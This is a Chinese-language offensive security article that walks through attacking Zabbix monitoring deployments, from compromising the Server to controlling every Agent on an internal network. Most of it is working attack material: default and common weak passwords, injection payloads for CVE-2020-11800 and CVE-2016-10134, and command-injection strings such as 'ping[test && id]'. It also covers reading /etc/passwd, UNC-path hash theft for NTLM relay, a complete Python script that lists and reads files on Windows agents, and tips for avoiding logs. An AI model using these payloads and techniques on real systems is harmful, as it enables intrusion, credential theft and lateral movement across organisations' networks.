作者:Wfox@360高級攻防實驗室 原文鏈接:http://noahblog.#/zabbixgong-ji-mian-wa-jue-yu-li-yong/
一、簡介
Zabbix是一個支持實時監控數千臺服務器、虛擬機和網絡設備的企業級解決方案,客戶覆蓋許多大型企業。本議題介紹了Zabbix基礎架構、Zabbix Server攻擊面以及權限后利用,如何在復雜內網環境中從Agent控制Server權限、再基于Server拿下所有內網Agent。
二、Zabbix監控組件
Zabbix監控系統由以下幾個組件部分構成:
1. Zabbix Server
Zabbix Server是所有配置、統計和操作數據的中央存儲中心,也是Zabbix監控系統的告警中心。在監控的系統中出現任何異常,將被發出通知給管理員。
Zabbix Server的功能可分解成為三個不同的組件,分別為Zabbix Server服務、Web后臺及數據庫。
2. Zabbix Proxy
Zabbix Proxy是在大規模分布式監控場景中采用一種分擔Zabbix Server壓力的分層結構,其多用在跨機房、跨網絡的環境中,Zabbix Proxy可以代替Zabbix Server收集性能和可用性數據,然后把數據匯報給Zabbix Server,并且在一定程度上分擔了Zabbix Server的壓力。
3. Zabbix Agent
Zabbix Agent部署在被監控的目標機器上,以主動監控本地資源和應用程序(硬盤、內存、處理器統計信息等)。
Zabbix Agent收集本地的狀態信息并將數據上報給Zabbix Server用于進一步處理。
三、Zabbix網絡架構
對于Zabbix Agent客戶端來說,根據請求類型可分為被動模式及主動模式:
- 被動模式:Server向Agent的10050端口獲取監控項數據,Agent根據監控項收集本機數據并響應。
- 主動模式:Agent主動請求Server(Proxy)的10051端口獲取監控項列表,并根據監控項收集本機數據提交給Server(Proxy)
從網絡部署架構上看,可分為Server-Client架構、Server-Proxy-Client架構、Master-Node-Client架構:
- Server-Client架構
最為常見的Zabbix部署架構,Server與Agent同處于內網區域,Agent能夠直接與Server通訊,不受跨區域限制。

- Server-Proxy-Client架構
多數見于大規模監控需求的企業內網,其多用在跨機房、跨網絡的環境,由于Agent無法直接與位于其他區域的Server通訊,需要由各區域Proxy代替收集Agent數據然后再上報Server。

四、Zabbix Agent配置分析
從進程列表中可判斷當前機器是否已運行zabbix_agentd服務,Linux進程名為zabbix_agentd,Windows進程名為zabbix_agentd.exe。
Zabbix Agent服務的配置文件為zabbix_agentd.conf,Linux默認路徑在/etc/zabbix/zabbix_agentd.conf,可通過以下命令查看agent配置文件并過濾掉注釋內容:
cat /etc/zabbix/zabbix_agentd.conf | grep -v '^#' | grep -v '^$'
首先從配置文件定位zabbix_agentd服務的基本信息:
- Server參數
Server或Proxy的IP、CIDR、域名等,Agent僅接受來自Server參數的IP請求。
Server=192.168.10.100
- ServerActive參數
Server或Proxy的IP、CIDR、域名等,用于主動模式,Agent主動向ServerActive參數的IP發送請求。
ServerActive=192.168.10.100
- StartAgents參數
為0時禁用被動模式,不監聽10050端口。
StartAgents=0
經過對 zabbix_agentd.conf 配置文件各個參數的安全性研究,總結出以下配置不當可能導致安全風險的配置項:
- EnableRemoteCommands參數
是否允許來自Zabbix Server的遠程命令,開啟后可通過Server下發shell腳本在Agent上執行。
風險樣例:
EnableRemoteCommands=1
- AllowRoot參數
Linux默認以低權限用戶zabbix運行,開啟后以root權限運行zabbix_agentd服務。
風險樣例:
AllowRoot=1
- UserParameter參數
自定義用戶參數,格式為UserParameter=<key>,<command>,Server可向Agent執行預設的自定義參數命令以獲取監控數據,以官方示例為例:
UserParameter=ping[*],echo $1
當Server向Agent執行ping[aaaa]指令時,$1為傳參的值,Agent經過拼接之后執行的命令為echo aaaa,最終執行結果為aaaa。
command存在命令拼接,但由于傳參內容受UnsafeUserParameters參數限制,默認無法傳參特殊符號,所以默認配置利用場景有限。
官方漏洞案例可參考CVE-2016-4338漏洞。
- UnsafeUserParameters參數
自定義用戶參數是否允許傳參任意字符,默認不允許字符\ ' " ` * ? [ ] { } ~ $ ! & ; ( ) < > | # @
風險樣例:
UnsafeUserParameters=1
當UnsafeUserParameters參數配置不當時,組合UserParameter自定義參數的傳參命令拼接,可導致遠程命令注入漏洞。
由Server向Agent下發指令執行自定義參數,即可在Agent上執行任意系統命令。
以 UserParameter=ping[*],echo $1 為例,向Agent執行指令ping[test && whoami],經過命令拼接后最終執行echo test && whoami,成功注入執行shell命令。
- Include參數
加載配置文件目錄單個文件或所有文件,通常包含的conf都是配置UserParameter自定義用戶參數。
Include=/etc/zabbix/zabbix_agentd.d/*.conf
五、Zabbix Server攻擊手法
除了有利用條件的Zabbix Agent漏洞外,默認情況下Agent受限于IP白名單限制,只處理來自Server的請求,所以攻擊Zabbix Agent的首要途徑就是先拿下Zabbix Server。
經過對Zabbix Server攻擊面進行梳理,總結出部分攻擊效果較好的漏洞:
1. Zabbix Web后臺弱口令
Zabbix安裝后自帶Admin管理員用戶和Guests訪客用戶(低版本),可登陸Zabbiax后臺。
超級管理員默認賬號:Admin,密碼:zabbix Guests用戶,賬號:guest,密碼為空
2. MySQL弱口令
從用戶習慣來看,運維在配置Zabbix時喜歡用弱口令作為MySQL密碼,且搜索引擎的Zabbix配置教程基本用的都是弱口令,這導致實際環境中Zabbix Server的數據庫密碼通常為弱口令。
除了默認root用戶無法外連之外,運維通常會新建MySQL用戶 zabbix,根據用戶習慣梳理了zabbix用戶的常見密碼:
123456
zabbix
zabbix123
zabbix1234
zabbix12345
zabbix123456
123456
拿下MySQL數據庫后,可解密users表的密碼md5值,或者直接替換密碼的md5為已知密碼,即可登錄Zabbix Web。
3. CVE-2020-11800 命令注入
Zabbix Server的trapper功能中active checks命令存在CVE-2020-11800命令注入漏洞,該漏洞為基于CVE-2017-2824的繞過利用。 未授權攻擊者向Zabbix Server的10051端口發送trapper功能相關命令,利用漏洞即可在Zabbix Server上執行系統命令。
active checks是Agent主動檢查時用于獲取監控項列表的命令,Zabbix Server在開啟自動注冊的情況下,通過active checks命令請求獲取一個不存在的host時,自動注冊機制會將json請求中的host、ip添加到interface數據表里,其中CVE-2020-11800漏洞通過ipv6格式繞過ip字段檢測注入執行shell命令,受數據表字段限制Payload長度只能為64個字符。
{"request":"active checks","host":"vulhub","ip":"ffff:::;whoami"}
自動注冊調用鏈:
active checks -> send_list_of_active_checks_json() -> get_hostid_by_host() -> DBregister_host()
command指令可以在未授權的情況下可指定主機(hostid)執行指定腳本(scriptid),Zabbix存在3個默認腳本,腳本中的{HOST.CONN}在腳本調用的時候會被替換成主機IP。
# scriptid == 1 == /bin/ping -c {HOST.CONN} 2>&1
# scriptid == 2 == /usr/bin/traceroute {HOST.CONN} 2>&1
# scriptid == 3 == sudo /usr/bin/nmap -O {HOST.CONN} 2>&1
scriptid指定其中任意一個,hostid為注入惡意Payload后的主機id,但自動注冊后的hostid是未知的,所以通過command指令遍歷hostid的方式都執行一遍,最后成功觸發命令注入漏洞。
{"request":"command","scriptid":1,"hostid":10001}
由于默認腳本的類型限制,腳本都是在Zabbix Server上運行,Zabbix Proxy是無法使用command指令的。payload長度受限制可拆分多次執行,必須更換host名稱以執行新的payload。
漏洞靶場及利用腳本:Zabbix Server trapper命令注入漏洞(CVE-2020-11800)

4. CVE-2017-2824 命令注入
上面小結已詳細講解,CVE-2017-2824與CVE-2020-11800漏洞點及利用區別不大,不再復述,可參考鏈接:https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
漏洞靶場及利用腳本:Zabbix Server trapper命令注入漏洞(CVE-2017-2824)
5. CVE-2016-10134 SQL注入
CVE-2016-10134 SQL注入漏洞已知有兩個注入點:
- latest.php,需登錄,可使用未關閉的Guest訪客賬號。
/jsrpc.php?type=0&mode=1&method=screen.get&profileIdx=web.item.graph&resourcetype=17&profileIdx2=updatexml(0,concat(0xa,user()),0)

- jsrpc.php,無需登錄即可利用。
利用腳本:https://github.com/RicterZ/zabbixPwn

漏洞靶場及利用腳本:zabbix latest.php SQL注入漏洞(CVE-2016-10134)
六、Zabbix Server權限后利用
拿下Zabbix Server權限只是階段性的成功,接下來的問題是如何控制Zabbix Agent以達到最終攻擊目的。
Zabbix Agent的10050端口僅處理來自Zabbix Server或Proxy的請求,所以后續攻擊都是依賴于Zabbix Server權限進行擴展,本章節主要講解基于監控項item功能的后利用。
在zabbix中,我們要監控的某一個指標,被稱為“監控項”,就像我們的磁盤使用率,在zabbix中就可以被認為是一個“監控項”(item),如果要獲取到“監控項”的相關信息,我們則要執行一個命令,但是我們不能直接調用命令,而是通過一個“別名”去調用命令,這個“命令別名”在zabbix中被稱為“鍵”(key),所以在zabbix中,如果我們想要獲取到一個“監控項”的值,則需要有對應的“鍵”,通過“鍵”能夠調用相應的命令,獲取到對應的監控信息。
以Zabbix 4.0版本為例,按照個人理解 item監控項可分為通用監控項、主動檢查監控項、Windows監控項、自定義用戶參數(UserParameter)監控項,Agent監控項較多不一一例舉,可參考以下鏈接: 1. Zabbix Agent監控項 2. Zabbix Agent Windows監控項
在控制Zabbix Server權限的情況下可通過zabbix_get命令向Agent獲取監控項數據,比如說獲取Agent的系統內核信息:
zabbix_get -s 172.21.0.4 -p 10050 -k "system.uname"

結合上述知識點,針對item監控項的攻擊面進行挖掘,總結出以下利用場景:
1. EnableRemoteCommands參數遠程命令執行
Zabbix最為經典的命令執行利用姿勢,許多人以為控制了Zabbix Server就肯定能在Agent上執行命令,其實不然,Agent遠程執行系統命令需要在zabbix_agentd.conf配置文件中開啟EnableRemoteCommands參數。
在Zabbix Web上添加腳本,“執行在”選項可根據需求選擇,“執行在Zabbix服務器” 不需要開啟EnableRemoteCommands參數,所以一般控制Zabbix Web后可通過該方式在Zabbix Server上執行命令拿到服務器權限。

如果要指定某個主機執行該腳本,可從Zabbix Web的“監測中 -> 最新數據”功能中根據過濾條件找到想要執行腳本的主機,單擊主機名即可在對應Agent上執行腳本。
這里有個常見誤區,如果類型是“執行在Zabbix服務器”,無論選擇哪臺主機執行腳本,最終都是執行在Zabbix Server上。
如果類型是“執行在Zabbix客戶端”,Agent配置文件在未開啟EnableRemoteCommands參數的情況下會返回報錯。

Agent配置文件在開啟EnableRemoteCommands參數的情況下可成功下發執行系統命令。

如果不想在Zabbix Web上留下太多日志痕跡,或者想批量控制Agent,拿下Zabbix Server權限后可以通過zabbix_get命令向Agent執行監控項命令,在Zabbix Web執行腳本實際上等于執行system.run監控項命令。
也可以基于Zabbix Server作為隧道跳板,在本地執行zabbix_get命令也能達到同樣效果(Zabbix Agent為IP白名單校驗)。

2. UserParameter自定義參數命令注入
之前介紹UserParameter參數的時候提到過,執行監控項時UserParameter參數command命令的2等會被替換成item傳參值,存在命令注入的風險,但默認受UnsafeUserParameters參數限制無法傳入特殊字符。
當Zabbiax Agent的zabbix_agentd.conf配置文件開啟UnsafeUserParameters參數的情況下,傳參值字符不受限制,只需要找到存在傳參的自定義參數UserParameter,就能達到命令注入的效果。
舉個簡單案例,在zabbix_agentd.conf文件中添加自定義參數:
UserParameter=ping[*],echo $1
默認情況下UnsafeUserParameters被禁用,傳入特殊字符將無法執行命令。

在zabbix_agentd.conf 文件中添加 UnsafeUserParameters=1,command經過傳參拼接后成功注入系統命令。
zabbix_get -s 172.19.0.5 -p 10050 -k "ping[test && id]"

UnsafeUserParameters參數配置不當問題在監控規模較大的內網里比較常見,內網滲透時可以多留意Agent配置信息。
3. 任意文件讀取
Zabbix Agent如果沒有配置不當的問題,是否有其他姿勢可以利用呢?答案是肯定的。
Zabbix原生監控項中,vfs.file.contents命令可以讀取指定文件,但無法讀取超過64KB的文件。
zabbix_get -s 172.19.0.5 -p 10050 -k "vfs.file.contents[/etc/passwd]"

zabbix_agentd服務默認以低權限用戶zabbix運行,讀取文件受zabbix用戶權限限制。開啟AllowRoot參數情況下zabbix_agentd服務會以root權限運行,利用vfs.file.contents命令就能任意文件讀取。
如果文件超過64KB無法讀取,在了解該文件字段格式的情況下可利用vfs.file.regexp命令正則獲取關鍵內容。
4. Windows目錄遍歷
Zabbix原生監控項中,wmi.get命令可以執行WMI查詢并返回第一個對象,通過WQL語句可以查詢許多機器信息,以下例舉幾種利用場景:
- 遍歷盤符
由于wmi.get命令每次只能返回一行數據,所以需要利用WQL的條件語句排除法逐行獲取數據。
比如WQL查詢盤符時,只返回了C:
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk\"]"
通過追加條件語句排除已經查詢處理的結果,從而獲取下一行數據。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM Win32_LogicalDisk WHERE Name!='C:'\"]"
可通過腳本一直追加條件語句進行查詢,直至出現Cannot obtain WMI information.代表WQL已經無法查詢出結果。從圖中可以看到通過wmi.get命令查詢出了該機器上存在C:、D:盤符。

- 遍歷目錄
獲取C:下的目錄,采用條件語句排除法逐行獲取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Caption FROM Win32_Directory WHERE Drive='C:' AND Path='\\\\' AND Caption != 'C:\\\\\$Recycle.Bin' AND Caption != 'C:\\\\\$WinREAgent' \"]"
...

獲取C:下的文件,采用條件語句排除法逐行獲取。
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' \"]"
zabbix_get -s 192.168.98.2 -p 10050 -k "wmi.get[root\\cimv2,\"SELECT Name FROM CIM_DataFile WHERE Drive='C:' AND Path='\\\\' AND Name != 'C:\\\\\$WINRE_BACKUP_PARTITION.MARKER' AND Name !='C:\\\\browser.exe' \"]"
...

利用wmi.get命令進行目錄遍歷、文件遍歷,結合vfs.file.contents命令就能夠在Windows下實現任意文件讀取。
基于zabbix_get命令寫了個python腳本,實現Windows的列目錄、讀文件功能。
import os
import sys
count = 0
def zabbix_exec(ip, command):
global count
count = count + 1
check = os.popen("./zabbix_get -s " + ip + " -k \"" + command + "\"").read()
if "Cannot obtain WMI information" not in check:
return check.strip()
else:
return False
def getpath(path):
return path.replace("\\","\\\\\\\\").replace("$","\\$")
def GetDisk(ip):
where = ""
while(True):
check_disk = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM Win32_LogicalDisk WHERE Name != '' " + where + "\\\"]")
if check_disk:
print(check_disk)
where = where + "AND Name != '" + check_disk+ "'"
else:
break
def GetDirs(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_dir = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Caption FROM Win32_Directory WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_dir:
print(check_dir)
where = where + "AND Caption != '" + getpath(check_dir) + "'"
else:
break
def GetFiles(ip, dir):
drive = dir[0:2]
path = dir[2:]
where = ""
while(True):
check_file = zabbix_exec(ip, "wmi.get[root\cimv2,\\\"SELECT Name FROM CIM_DataFile WHERE Drive='" + drive + "' AND Path='" + getpath(path) + "' " + where + "\\\"]")
if check_file:
if "Invalid item key format" in check_file:
continue
print(check_file)
where = where + "AND Name != '" + getpath(check_file) + "'"
else:
break
def Readfile(ip, file):
read = zabbix_exec(ip, "vfs.file.contents[" + file + "]")
print(read)
if __name__ == "__main__":
if len(sys.argv) == 2:
GetDisk(sys.argv[1])
elif sys.argv[2][-1] != "\\":
Readfile(sys.argv[1], sys.argv[2])
else:
GetDirs(sys.argv[1],sys.argv[2])
GetFiles(sys.argv[1],sys.argv[2])
print("Request count: " + str(count))
5. Windows UNC路徑利用
在Windows Zabbix Agent環境中,可以利用vfs.file.contents命令讀取UNC路徑,竊取Zabbix Agent機器的Net-NTLM hash,從而進一步Net-NTLM relay攻擊。
Window Zabbix Agent默認安裝成Windows服務,運行在SYSTEM權限下。在工作組環境中,system用戶的Net-NTLM hash為空,所以工作組環境無法利用。
在域內環境中,SYSTEM用戶即機器用戶,如果是Net-NTLM v1的情況下,可以利用Responder工具獲取Net-NTLM v1 hash并通過算法缺陷解密拿到NTLM hash,配合資源約束委派獲取域內機器用戶權限,從而拿下Agent機器權限。
也可以配合CVE-2019-1040漏洞,relay到ldap上配置基于資源的約束委派進而拿下Agent機器權限。
zabbix_get -s 192.168.30.200 -p 10050 -k "vfs.file.contents[\\\\192.168.30.243\\cc]"


6. Zabbix Proxy和主動檢查模式利用場景
通過zabbix_get工具執行監控項命令只適合Agent被動模式且10050端口可以通訊的場景(同時zabbix_get命令也是為了演示漏洞方便)。
如果在Zabbix Proxy場景或Agent主動檢查模式的情況下,Zabbix Server無法直接與Agent 10050端口通訊,可以使用比較通用的辦法,就是通過Zabbix Web添加監控項。
以UserParameter命令注入漏洞舉例,給指定主機添加監控項,鍵值中填入監控項命令,信息類型選擇文本:

在最新數據中按照篩選條件找到指定主機,等待片刻就能看到執行結果。

任意文件讀取漏洞也同理:


通過zabbix_get工具執行結果最大可返回512KB的數據,執行結果存儲在MySQL上的限制最大為64KB。
ps: 添加的監控項會一直定時執行,所以執行完后記得刪除監控項。
七、參考鏈接
https://www.zabbix.com/documentation/4.0/zh/manual/config/items/userparameters
https://github.com/vulhub/vulhub
https://talosintelligence.com/vulnerability_reports/TALOS-2017-0325
https://www.zsythink.net/archives/551/
本文由 Seebug Paper 發布,如需轉載請注明來源。本文地址:http://www.bjnorthway.com/1697/
暫無評論